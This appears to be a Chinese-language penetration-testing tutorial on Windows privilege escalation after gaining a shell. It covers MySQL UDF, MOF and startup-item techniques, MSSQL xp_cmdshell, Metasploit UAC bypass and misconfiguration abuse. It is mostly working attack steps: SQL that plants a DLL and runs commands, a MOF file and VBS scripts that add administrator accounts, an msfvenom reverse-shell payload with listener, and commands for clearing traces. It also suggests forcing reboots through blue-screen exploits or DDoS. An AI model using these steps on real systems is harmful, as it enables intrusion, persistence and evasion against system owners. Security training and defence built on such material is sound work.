WIndows
总流程
-
whoami判断权限,直接system就不用提权,jsp网站直接system权限
-
systeminfo查看补丁,进而上传exp利用
-
若无法通过系统漏洞、系统服务漏洞提权,则翻目录,寻找配置文件(数据库、pcanywhere的密码文件等第三方软件的敏感文件)
-
一个服务器有aspx、php、jsp,拿下来一个aspx的低权限shell,往jsp目录上传webshell并访问,可能为最高权限
一、系统漏洞提权
1. 流程
- 获得目标机shell => 查看补丁记录 => 寻找对应EXP => 使用EXP提权
2. 查看补丁
- 通过
systeminfo
查看补丁安装情况 - 使用在线工具查询可用EXP
3. 寻找EXP
- 通过搜索引擎查找对应exp
- github查找 https://github.com/SecWiki/windows-kernel-exploits
4. 实例
- 当getshell后,查看系统权限
-
查看系统补丁
-
查找可使用exp
- 根据补丁和操作系统版本号,查找相对应可用EXP编号
-
上传exp,并使用
二、MYSQL三种提权方式
1. 概述
(1). 前提条件
- 获取root用户的账号密码
(2). 获取方法
- 查看数据库配置文件
- config、conn、data、sql、inc、database等关键字
- 下载mysql安装路径下的数据文件并破解
- data目录存放数据库信息
- root账号密码存储在mysql数据库下的user表中
- 完整路径=安装路径+data+mysql+user.myd
- 进行暴力破解
- Hscan、Hydra、X-scan等
2. udf提权
(1). 原理
- UDF(User Defined Function,用户自定义函数)支持用户自定义内容,通过udf.dll文件添加新的函数,对mysql服务器进行功能扩充,从而创建函数,将MYSQL账户转化为系统system权限。总而言之,UDF提权是通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd
(2). 利用条件
- Windows2000、xp、2003
- Mysql数据库版本符合
- 账号具有对Mysql的插入和删除权限
- 可以将udf.dll写入到相应目录的权限
(3). 步骤
- 将DLL文件导出到指定目录下
- 使用SQL语句创建自定义函数
- 执行函数,完成提权
(4). 详解
a. 收集信息
select version();
select user();
select @@basedir;
b. 判断版本
①低于5.1
- 直接将dll文件导出到/lib/plugin目录
②高于5.1
- 创建导出文件夹
- 通过sql语句
select 'xxx' into dumpfile 'Mysql目录\\lib::$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'Mysql目录\\lib\\plugin::$INDEX_ALLOCATION';
- 通过webshell进行可视化创建
c. 导入udf文件
- 将sqlmap的udf文件上传到指定目录(/lib/plugin/)
sqlmap\data\udf\mysql\
目录中的dll文件是通过异或编码的,可以使用sqlmap\extra\cloak.py
进行解密
d. 创建自定义函数
e. 执行语句
-
通过调用自定义函数,执行命令
select state('whoami');
f. 清除痕迹
drop function state;
delete from mysql.func where name='state';
(5). 实例
-
成功连接数据库
-
查看默认安装路径及相应信息
select @@basedir,version() select version()
-
执行sql语句,将hex编码写入udf3.dll文件
- 创建表
create table udf(shellcode BLOB);
-
获得十六进制内容
-
通过HxD等工具打开udf.dll文件,获取十六进制内容,或通过sql语句获得十六进制内容(在本地或服务器上均可)
#前一地址为udf.dll文件所在地址,后一路径为要输出的十六进制内容的文件,获得十六进制内容的操作也可直接在本地进行 select hex(load_file('C:/phpStudy/WWW/udf.dll')) into dumpfile 'C:/phpStudy/WWW/udf.txt';
-
-
往我们自定义的表中插入十六进制数据内容
insert into laffrex values(unhex('这里放入上一步获得的udf.dll的十六进制代码')); #例如以下形式: insert into laffrex values(unhex('4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004D477BD0092615830926158309261583005E86830B261583005E808308261583005E968307261583005E91830B2615832EE06E8...'));
-
将十六进制内容写入udf3.dll文件中
select shellcode from laffrex into dumpfile 'c:/phpstudy/MYSQL/lib/plugin/udf3.dll';
-
根据udf3.dll,创建自定义函数
-
根据udf文件内容,选择使用哪个函数
-
确认所使用函数是否存在,若存在,则考虑换另一个函数,或者删除该函数
#删除函数语句 DROP FUNCTION sys_eval;
-
创建自定义函数
create function sys_eval returns string soname 'udf3.dll';
-
-
通过自定义函数,执行相应系统功能
select sys_eval('whoami');
-
消除痕迹,删除表
DROP TABLE laffrex;
3. mof提权
(1). 原理
- 利用
c:/windows/system32/wbem/mof/
目录下的nullevt.mof
文件,该文件每分钟都会在一个特定的时间去执行一次的特性,通过写入cmd命令使其被带入执行
(2). 利用条件
- Windows <= 2003
- 对mof目录有读写权限
- 可以实现写mof文件到相应目录
- 数据库允许外联
- 存在webshell
- 有可写的sql注入漏洞等
(3). mof文件
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user cxk666 cxk666 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
(4). 防御
- 当发现服务器被使用mof提权,解决继续创建用户的方法
- 先停止winmgmt服务:
net stop
- 删除文件夹:
c:/windows/system32/wbem/repository
- 重新启动winmgmt服务:
net start winmgmt
- 先停止winmgmt服务:
(5). 实例
-
通过其他方式上传shell并能成功访问
-
通过蚁剑或其它方式在可写目录上传用户的.mof脚本
-
移动该mof脚本到指定目录(
c:/windows/system32/wbem/mof/
),该目录下的内容每5秒执行一次select load_file('c:/phpstudy/www/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
-
等待一定时间后,在控制台发现用户已经成功创建
4. 启动项提权
- 将VBS脚本导入到开机启动项中,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令
(1). 利用条件
- 上传目录具有可读写权限
- 调用的cmd也具有足够的权限
- 重启服务器可以利用一些可导致服务器蓝屏的EXP,或者DDOS拒绝服务
(2). 提权方式
-
直接将VBS提权脚本上传到启动项目录之下
C:/Documents and Settings/All Users/「开始」菜单/程序/启动/
-
利用SQL命令来进行VBS脚本的创建及添加
(3). 直接上传
a. vbs脚本内容
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user", "ichunqiu") '建立用户
od.SetPassword "123.com" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/ichunqiu",user) '得到用户
oe.add os&"/ichunqiu"
b. 上传到开机启动项目录
- 需有高权限,否则无法上传,报如下错误
select load_file('C:/phpStudy/WWW/1.vbs') into dumpfile "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/1.vbs"
(4). SQL写入
-
连接目标Mysql数据库
-
进入某一数据库,创建一张新的表,该表只有一个字段
create table a(cmd text)
-
表中插入字段,字段内容为VBS脚本代码
insert into a values("set wshshell=createobject(""wscript.shell"")"); insert into a values("a=wshshell.run(""cmd.exe /c net user test test1234 /add"",0)"); #指令内容为创建一个用户 insert into a values("b=wshshell.run(""cmd.exe net localgroup administrators test /add"",0)"); #添加到高权限组
-
将表输出为一个VBS脚本文件
- 须确保高权限,否则会报如下错误
select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\1.vbs";
-
利用其他手段重启电脑
三、MSSQL提权
1. 利用条件
- 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权
- 必须可以以某种方式执行sql语句
2. xp_cmdshell提权
-
连接数据库,获取所有数据库名
select name from master.dbo.sysdatabases
-
查看相关信息
select @@version #查看当前版本 select is_srvrolemember('sysadmin') #判断是否为sa select is_srvrolemember('public') #判断是否有public权限,可以爆破表 select is_srvrolemember('db_owner') #判断用户写、读文件的权限
-
查看数据库中是否有xp_cmdshell扩展存储插件,返回值为1说明有该插件
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
-
开启xp_cmdshell
exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure;
-
执行命令
exec master..xp_cmdshell 'net user test test1234 /add' exec master..xp_cmdshell 'net localgroup administrators test /add'
四、Bypass UAC
1. 使用msf-bypassuac模块
(1). 前期准备
-
启动msf,kali中命令行输入
msfconsole
-
选择反弹shell模块
use payload/windows/meterpreter/reverse_tcp
-
设置监听主机和端口
set LHOST <你的IP> set LPORT <监听端口>
-
生成可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.71.50 LPORT=4444 -f exe -o shell.exe #如果不在桌面上,可以用指令查找位置 find / -name shell.exe 2>/dev/null
-
重新设置监听器,启动监听
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.71.50 set LPORT 4444 exploit
-
将exe文件通过各种方式(比如通过此靶机的3389,远程桌面直接cv上传)上传至目标主机,并成功执行
-
kali成功接收到反弹shell
(2). 正式操作
-
成功获取shell之后,通过
getuid
查看权限 -
尝试利用msf的getsystem提权,显示失败
getsystem
-
将目前的sessions放到后台运行
background
显示保存为session 1,后面使用该值
-
使用相应的模块
use exploit/windows/local/bypassuac
-
设置相应的参数
set payload windows/meterpreter/reverse_tcp set lhost 192.168.71.50 #设置攻击机ip set session 1 #指向刚才后台运行的session exploit #执行该次操作
运行后发现,后台生成了一个新的session2
-
进入新的session2后,使用
getuid
查看当前的权限,仍然为普通权限 -
在session2中,使用
getsystem
提权,并查看权限,成功提权
2. 使用msf-RunAs模块
- 该模块使用
exploit/windows/local/ask
模块,创建一个可执行文件,运行该可执行文件后会发起提升权限的请求,提示用户是否继续运行,如果用户继续运行,则会返回一个高权限的Meterpreter shell
-
前面提权步骤相同,成功获得session4
-
使用对应模块,成功等待目标主机回应
use exploit/windows/local/ask #使用RunAs模块 set session 4 #获取shell的session run
-
目标主机成功弹窗
-
目标主机点击确认后,kali成功进行meterpreter shell
-
成功提权!
3. 手动实现
-
通过信息收集,发现目标主机开放3389端口,尝试使用工具进行爆破
-
使用
mstsc
成功连接上目标主机,并且创建后门账户,并赋予管理员权限 -
cmd命令行使用
systeminfo
查看是否打了相应的补丁KB4525235/KB4525233
-
寻找到该漏洞对应的EXP,并上传到目标主机上,使用管理员权限运行
-
查看证书信息
-
进一步操作
-
将弹出的页面另存为
-
通过浏览器打开命令行
-
成功以高权限用户执行
五、错误系统配置
- 服务未启动:使用任意服务替换原来的服务,然后重启服务
- 服务正在运行且无法终止:利用dll劫持技术并尝试重启服务来提权
1. 注册表
- 注册表键AlwaysInstallElevated是一个策略设置项,windows允许低权限用户以System权限安装文件,如果启用次策略设置项,那么任何权限用户都能够以NT AUTHORITY/SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件
(1). 打开组策略
gpedit.msc
(2). 启用
- 图形化启用
-
命令行启用
- 需要高权限用户
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
(3). 安装msi文件
- 通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
(4). 导出msi文件
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1;WriteUserAddMSI}"
(5). 命令执行
msiexec /q /i UserAdd.msi
/i 安装操作
/q 隐藏安装界面
2. Trusted Service Paths
- Windows服务通常是以System权限运行的,在解析服务的二进制文件对应的文件路径中的空格时,也会以系统权限进行解析,因此能够利用该特性进行权限提升
(1). 特性
-
对于路径
C:\Program File\Some Folder\Service.exe
,Windows会按照如下顺序进行解析C:\Program.exe C:\Program File\Some.exe C:\Program File\Some Folder\Service.exe
-
因此,可以在特定的目录,上传适当命名的恶意可执行文件,从而在服务重启时,以System权限运行
(2). 提权流程
-
假设已经获得目标机的低权限Meterpreter shell,尝试通过TrustedService Paths漏洞来尝试实现权限的提升
-
服务的可执行文件的路径没有用双引号封闭,并且包含空格
-
#列举受害者机器上所有没有加引号的服务路径 wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v ""
-
-
检验目标文件夹是否有写入权限,使用
icacls
,依次检查是否具有权限- M表示修改,F表示完全控制,CI表示丛书容器将继承访问控制项,OI表示从属文件将继承访问控制项,这意味着对目录有读、写、删除其下的文件、删除该目录下的子目录的权限
-
在Metasploit中搜索trusted_service_path模块,设置相关参数并攻击,攻击成功后弹回高权限Meterpreter shell
3. 其他错误配置
- 利用MSF的service_permissions模块(需要提前获得Meterpreter shell)、自动安装配置文件、利用计划任务等